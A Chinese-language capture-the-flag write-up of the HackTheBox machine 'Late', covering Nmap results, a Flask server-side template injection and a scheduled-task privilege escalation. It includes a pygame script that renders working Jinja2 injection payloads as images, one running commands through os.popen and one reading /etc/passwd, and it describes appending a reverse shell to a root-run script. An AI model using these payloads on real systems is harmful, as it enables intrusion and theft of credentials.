概述 (Overview)
HOST: 10.10.11.156
OS: LINUX
发布时间: 2022-04-24
完成时间: 2022-06-16
机器作者: kavigihan
困难程度: EASY
机器状态: 退休
MACHINE TAGS: #Flask #SSTI #CommandInjection
攻击链 (Kiillchain)
使用 Nmap 扫描目标服务器开放端口,利用 Web 服务 Flask 框架的 SSIT 漏洞读取用户私钥,通过 SSH 登录拿到立足点。传递 linpeas 脚本至目标服务器运行深度枚举,发现 root 计划任务执行脚本。最终通过向脚本中追加反弹 shell 代码段,完成权限提升。
枚举(Enumeration)
开始还是采用 Nmap 软件对目标服务器的开放端口进行扫描:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA) | 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA) |_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-favicon: Unknown favicon MD5: 1575FDF0E164C3DB0739CF05D9315BDF |_http-title: Late - Best online image tools | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.14.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
仅开放了两个端口,看样子又是要从 Web 服务中进行打点了。
立足点(Foothold)
查看页面源代码可以看到叫 images.late.htb
的域名:
echo "10.10.11.156 images.late.htb late.htb" >> /etc/hosts
加入 hosts 后进行访问,是一个 Flask 框架运行的 Web 服务,用于提取图片中的文字内容。
通过一张空白的图片能够得到文件的绝对路径:
Error occured while processing the image: cannot identify image file '/home/svc_acc/app/uploads/reverse.png5026'
目前已经知道解析图片的 Web 服务是 Flask 框架,结合以往经验,能够 RCE 的情况只有命令注入了。而 Flask 的 RCE 一般是 SSIT 这类的,所以简单构造了一个文字是 {{7*7}}
的图片进行验证。
从返回结果中可以看到,已经成功将 7*7
的结果进行了输出,说明漏洞存在。为了方便自定义图片,简单使用 python 生成自定义的文字图片:
# -*- coding: utf-8 -*-
import os
import pygame
pygame.init()
text = u'''{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}'''
font = pygame.font.Font('JetBrainsMono-Bold.ttf', 24)
rtext = font.render(text, True, (0, 0, 0), (255, 255, 255))
pygame.image.save(rtext, "test.png")
将使用 Python 内置函数的代码段生成的图片进行上传,从结果中可以看到成功执行了 id
命令。
接着读取 /etc/passwd
文件代码段:
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
成功在 svc_acc
用户下找到 SSH 登录私钥:
使用该私钥登录成功拿到立足点。
权限提升(Privilege Escalation)
将 linpeas 脚本传递至目标服务器并运行脚本进行深度分析,发现一个 ssh-alert.sh
的脚本文件。
root@late:/root# cat scripts/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
同时使用 pspy 软件,监听服务器上的定时任务信息,发现 root 账号会去执行该脚本。
看下权限,发现 svc_acc 用户具备编辑权限,但是直接编辑后会提示无权限保存。
svc_acc@late:/dev/shm$ ls -lsh /usr/local/sbin/ssh-alert.sh
4.0K -rwxr-xr-x 1 svc_acc svc_acc 433 Jun 16 05:01 /usr/local/sbin/ssh-alert.sh
在 Linux 中其实还有个第二扩展文件系统属性,一般使用 chattr 命令进行赋值,可以使用 lsattr 命令进行查看。
svc_acc@late:/dev/shm$ lsattr /usr/local/sbin/ssh-alert.sh -----a--------e--- /usr/local/sbin/ssh-alert.sh
- a:让文件或目录仅供附加用途(默认是没有的)
- e:文件正在使用扩展数据块映射磁盘上的块(默认就是 e 参数)
可以看到仅可以对文件内容进行追加,直接将反弹 shell 利用 >>
命令追加进行就好了。
等待 root 定时任务执行,成功完成权限提升。
环境维持
root@late:/root# cat scripts/cron.sh
#!/bin/bash
# Adding alert file
chattr -a /usr/local/sbin/ssh-alert.sh
rm /usr/local/sbin/ssh-alert.sh
cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh
chmod +x /usr/local/sbin/ssh-alert.sh
chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
rm -r /home/svc_acc/app/uploads/* 2>/dev/null
rm -r /home/svc_acc/app/misc/* 2>/dev/null
chattr +a /usr/local/sbin/ssh-alert.sh